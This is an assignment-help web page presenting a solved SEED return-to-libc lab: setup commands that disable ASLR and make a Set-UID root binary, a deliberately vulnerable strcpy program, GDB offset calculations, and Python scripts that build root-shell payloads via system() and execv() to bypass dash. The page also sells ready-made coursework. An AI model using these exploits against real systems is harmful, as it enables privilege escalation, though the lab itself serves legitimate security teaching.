Cyber security assignment support for university students
Private & confidentialWhatsApp +44 7949 817583
Solved Buffer Overflow Lab

Return-to-libc Attack Lab: Buffer Overflow, libc Addresses and dash Countermeasure

This case study keeps the supplied lab report and source code intact, then places the requirement, evidence and code together so students can understand what each completed step demonstrates.

CSCE 5552 • SEED Ubuntu 20.04 VM • GDB + Python + libc
CourseCSCE 5552
LabReturn-to-libc Attack Lab
EnvironmentSEED Ubuntu 20.04 VM
Architecture32-bit program on x64 VM
BUF_SIZE96 in supplied solution
Source files6 exact C/Python files
00
Assignment overview

What the Return-to-libc Lab Requires

The supplied CSCE 5552 lab is a controlled SEED Labs exercise about a return-to-libc variant of a buffer-overflow attack. The lab uses a vulnerable Set-UID program and asks the student to study stack layout, non-executable-stack protection, libc function addresses, attack variations and the shell countermeasure inside the provided Ubuntu VM.

Controlled lab scope

The commands, addresses and source code below are reproduced from the supplied completed assignment and are presented in the context of the SEED Ubuntu 20.04 lab environment.

01
Lab 3 diagram

Return-to-libc Stack Layout Used in the Assignment

The supplied diagram shows the intended stack relationship between the saved EBP, saved EIP, the libc function entry address, the libc return address and the argument pointing to /bin/sh.

Lab 3 stack-layout diagram supplied with the solved assignment.
Lab 3 stack-layout diagram supplied with the solved assignment.
02
Expert-written solution

Environment Setup

sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space
sudo ln -sf /bin/zsh /bin/sh
ls -l /bin/sh
gcc -m32 -g -DBUF_SIZE=96 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
ls -l retlib
ASLR disabled and kernel.randomize_va_space verified in the supplied solution.
ASLR disabled and kernel.randomize_va_space verified in the supplied solution.
The supplied solution links /bin/sh to /bin/zsh for the initial tasks.
The supplied solution links /bin/sh to /bin/zsh for the initial tasks.
Compilation, root ownership and Set-UID permission evidence from the supplied solution.
Compilation, root ownership and Set-UID permission evidence from the supplied solution.
03
Task 1

Finding libc Addresses and the Return-Address Offset

Task 1 (Finding libc Addresses)

Step 2.1: Open gdb

Step 2.2: Get the addresses

$ebp = 0xffffcdd8

&buffer = 0xffffcd6c

Calculation:

$ebp + 4 = 0xffffcdd8 + 4 = 0xffffcddc (This is the saved return address).

0xffffcddc - 0xffffcd6c = 0x70

0x70 in decimal is 112.

Your new Y = 112.

Task 1 GDB and stack-address evidence from the completed solution (screenshot 4).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 4).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 5).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 5).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 6).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 6).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 7).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 7).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 8).
Task 1 GDB and stack-address evidence from the completed solution (screenshot 8).
04
Task 2 and initial payload

Finding the Shell Address and Verifying the Result

PART 3: Task 2 (Finding the /bin/sh address)

Create and run prtenv.c

Replace sh_addr with prtenv output

Explanation of code snippet:

content = bytearray(0xaa...): We create a 500-byte array filled with0xaa(garbage bytes). We use 500 bytes so the payload is long enough to reach into main'sinput` buffer safely.

bash_addr, arg_addr: The memory addresses for "/bin/bash" and "-p", found using the ./prtenv2 helper program.

buffer_addr, input_addr: The exact stack addresses printed by ./retlib. We need input_addr to calculate where our argv array will live.

Y = 112: The offset we calculated in gdb for BUF_SIZE=96. It's the number of bytes needed to overwrite the saved return address (EIP).

A = 200: The offset where we build the argv array in main's input buffer. We put it here so strcpy doesn't truncate the payload at the NULL terminator.

content[Y:Y+4] = ...: This is where we overwrite the stack. We overwrite the return address to jump to execv, set exit as its return address, and point its two arguments to "/bin/bash" and the argv array. to_bytes(4, 'little') formats the addresses for the 32-bit processor.

When bof returns:
It jumps to execv() → execv reads the argv array → executes /bin/bash -p → giving us a root shell while bypassing the dash privilege drop.

Type id now the user is root

prtenv.c helper program shown in the supplied solution.
prtenv.c helper program shown in the supplied solution.
MYSHELL export and /bin/sh address evidence from the supplied solution.
MYSHELL export and /bin/sh address evidence from the supplied solution.
Payload execution evidence from the completed solution.
Payload execution evidence from the completed solution.
Root verification using id in the completed lab solution.
Root verification using id in the completed lab solution.
Need support with a similar task?

Need help with a similar assignment or project?

Send your assignment brief, marking rubric or existing work for originality-focused support, technical review, troubleshooting and project guidance tailored to your requirements.

05
Task 3 variations

Attack Variation 1: Without exit()

PART 5: Attack Variation 1 (Without exit())

Open nano exploit.py. Change X to Y + 8 and completely remove the exit lines:

This script generates the payload to test the attack without exit().

Answer: No, the exit() function is not strictly necessary to get the root shell.

Observations & Explanation:
If we remove the exit() address from the badfile the attack still successfully spawns a root shell. However, when we type exit to leave the shell, the program crashes with a Segmentation fault.
This happens because system() needs a return address to know where to go after the shell finishes. Without exit(), it looks at the next value on the stack, which is the address of the "/bin/sh" string. The CPU attempts to execute the string "/bin/sh" as if it were machine code, causing a crash. exit() is only used to ensure the program terminates gracefully

Source-code change for the without-exit variation in the supplied solution.
Source-code change for the without-exit variation in the supplied solution.
Variation 1 result: root shell followed by the observed segmentation fault after exit.
Variation 1 result: root shell followed by the observed segmentation fault after exit.

Attack Variation 2: Changing the Program Name

PART 6: Attack Variation 2 (Changing the Name)

Answer: The attack will not succeed if you change the program name. It will crash with a Segmentation fault.

Observations & Explanation:
When we renamed the program from retlib (6 characters) to newretlib1 (10 characters) and ran it without changing the badfile, the attack failed.
This is because the program name (argv[0]) is stored on the stack, directly before the environment variables. Changing the length of the program name shifts the entire memory layout by a few bytes. Because our badfile contains a hardcoded absolute memory address for the MYSHELL environment variable, that address is now pointing to the wrong location in memory. When system() tries to read "/bin/sh" from that address, it crashes. This proves that return-to-libc attacks are highly sensitive to the exact memory layout

Renamed-program variation and segmentation-fault evidence from the supplied solution.
Renamed-program variation and segmentation-fault evidence from the supplied solution.
06
Task 4

Defeating the dash Countermeasure in the Lab

PART 7: Task 4 (Defeating dash)

Enable the protection

sudo ln -sf /bin/dash /bin/sh

Run ./retlib to get the stack addresses:

To find the memory addresses of the strings "/bin/bash" and "-p", I exported them as environment variables (MYBASH and MYARG) and wrote a C helper program (prtenv2.c) using getenv(). This program printed their exact stack addresses. While I used this method to locate the addresses initially, I later opted to hardcode the strings directly into the badfile payload in my Python script to avoid the addresses shifting between terminal sessions.

prtenv2 helper program to extract the exact memory addresses of the environment variables MYBASH and MYARG. The program returned 0xffffde89 and 0xffffde24 respectively.

This Python script constructs the final payload to bypass the dash countermeasure using execv().

content = bytearray(...): Creates the payload with filler bytes (0xaa).

input_addr, buffer_addr: Exact addresses printed by ./retlib. We use input_addr to place our array safely.

bash_offset, arg_p_offset: We place the strings "/bin/bash" and "-p" inside main's input buffer to avoid strcpy truncation.

Y = 112: The exact offset to overwrite the return address (EIP) on the stack.

content[Y:Y+16] = ...: We overwrite the return address with execv. We set its return address to exit, its first argument to "/bin/bash", and its second argument to our argv array.

content[A:A+12] = ...: At offset A = 200 (inside input), we build the argv array: ["/bin/bash", "-p", NULL]. The NULL safely lives in input without breaking strcpy.

Result: The program jumps to execv and runs /bin/bash -p, bypassing dash and giving root access.

When retlib runs, bof returns and jumps to execv. execv looks at bash_addr, sees "/bin/bash", then looks at argv_addr, sees ["/bin/bash", "-p", NULL], and executes it.

Task 4 dash-countermeasure evidence from the completed solution (screenshot 16).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 16).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 17).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 17).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 18).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 18).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 19).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 19).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 20).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 20).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 21).
Task 4 dash-countermeasure evidence from the completed solution (screenshot 21).
07
Exact files from Solution.zip

Source Code Used in the Completed Solution

The following files are reproduced from the supplied solution ZIP without rewriting the code.

retlib.cC
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));      

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);   

    return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}
prtenv.cC
#include <stdio.h>
#include <stdlib.h>
int main(void) {
    char *shell = getenv("MYSHELL");
    if (shell) printf("%x\n", (unsigned int)shell);
    return 0;
}
exploit2.pyPython
#!/usr/bin/env python3
content = bytearray(0xaa for i in range(300))

sh_addr     = 0xffffd47f  # <--- REPLACE with your new ./prtenv output
system_addr = 0xf7e12420
exit_addr   = 0xf7e04f80

Y = 112                   # Your new offset!
X = Y + 8
Z = Y + 4

content[X:X+4] = (sh_addr).to_bytes(4, 'little')
content[Y:Y+4] = (system_addr).to_bytes(4, 'little')
content[Z:Z+4] = (exit_addr).to_bytes(4, 'little')

with open("badfile", "wb") as f:
    f.write(content)
exploit.pyPython
#!/usr/bin/env python3
content = bytearray(0xaa for i in range(300))

sh_addr     = 0xffffd47f  # <--- REPLACE with your new ./prtenv output
system_addr = 0xf7e12420
# exit_addr removed — not used in this version

Y = 112                   # Your offset
X = Y + 8
Z = Y + 4

content[X:X+4] = (sh_addr).to_bytes(4, 'little')
content[Y:Y+4] = (system_addr).to_bytes(4, 'little')
# content[Z:Z+4] intentionally left untouched — stays 0xaaaaaaaa

with open("badfile", "wb") as f:
    f.write(content)
prtenv2.cC
#include <stdio.h>
#include <stdlib.h>
int main(void) {
    char *b = getenv("MYBASH");
    char *a = getenv("MYARG");
    if (b) printf("MYBASH: %x\n", (unsigned int)b);
    if (a) printf("MYARG : %x\n", (unsigned int)a);
    return 0;
}
exploit3.pyPython
#!/usr/bin/env python3
content = bytearray(0xaa for i in range(500))

# Addresses printed by ./retlib (THIS run)
buffer_addr = 0xffffcd8c
input_addr  = 0xffffce10

# Place the strings inside main's input[] buffer
# (safe from strcpy truncation, since input[] is filled via fread)
bash_offset  = 140
arg_p_offset = 160

bash_addr  = input_addr + bash_offset
arg_p_addr = input_addr + arg_p_offset

content[bash_offset:bash_offset+10]  = b"/bin/bash\x00"
content[arg_p_offset:arg_p_offset+3] = b"-p\x00"

# Addresses from gdb
execv_addr = 0xf7e994b0
exit_addr  = 0xf7e04f80

Y = 112    # = Frame Pointer - buffer_addr + 4 = 0xffffcdf8 - 0xffffcd8c + 4
A = 200    # offset in input[] where we build the argv array
argv_addr = input_addr + A

# 1. Setup execv's fake stack frame
content[Y:Y+4]     = execv_addr.to_bytes(4, 'little')   # bof() returns -> execv()
content[Y+4:Y+8]   = exit_addr.to_bytes(4, 'little')    # execv's "return addr" if it fails
content[Y+8:Y+12]  = bash_addr.to_bytes(4, 'little')    # execv arg1: "/bin/bash"
content[Y+12:Y+16] = argv_addr.to_bytes(4, 'little')    # execv arg2: &argv[]

# 2. Setup the argv array at offset A
# argv = {"/bin/bash", "-p", NULL}
content[A:A+4]     = bash_addr.to_bytes(4, 'little')
content[A+4:A+8]   = arg_p_addr.to_bytes(4, 'little')
content[A+8:A+12]  = (0).to_bytes(4, 'little')

with open("badfile", "wb") as f:
    f.write(content)
WhatsApp